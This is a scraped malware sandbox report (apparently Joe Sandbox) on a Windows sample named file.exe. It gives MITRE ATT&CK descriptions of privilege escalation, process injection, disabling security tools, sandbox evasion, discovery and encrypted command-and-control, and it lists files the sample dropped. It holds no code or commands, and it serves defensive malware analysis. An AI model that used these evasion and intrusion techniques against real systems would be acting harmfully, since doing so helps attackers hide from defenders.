Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Bitcoin Miner

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\_MEI42802\VCRUNTIME140.dll

C:\Users\user\AppData\Local\Temp\_MEI42802\_bz2.pyd

C:\Users\user\AppData\Local\Temp\_MEI42802\_ctypes.pyd

C:\Users\user\AppData\Local\Temp\_MEI42802\_decimal.pyd

C:\Users\user\AppData\Local\Temp\_MEI42802\_hashlib.pyd

C:\Users\user\AppData\Local\Temp\_MEI42802\_lzma.pyd

C:\Users\user\AppData\Local\Temp\_MEI42802\_socket.pyd

C:\Users\user\AppData\Local\Temp\_MEI42802\_ssl.pyd

C:\Users\user\AppData\Local\Temp\_MEI42802\base_library.zip

C:\Users\user\AppData\Local\Temp\_MEI42802\libcrypto-3.dll

C:\Users\user\AppData\Local\Temp\_MEI42802\libffi-8.dll

Windows Analysis Report
file.exe

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre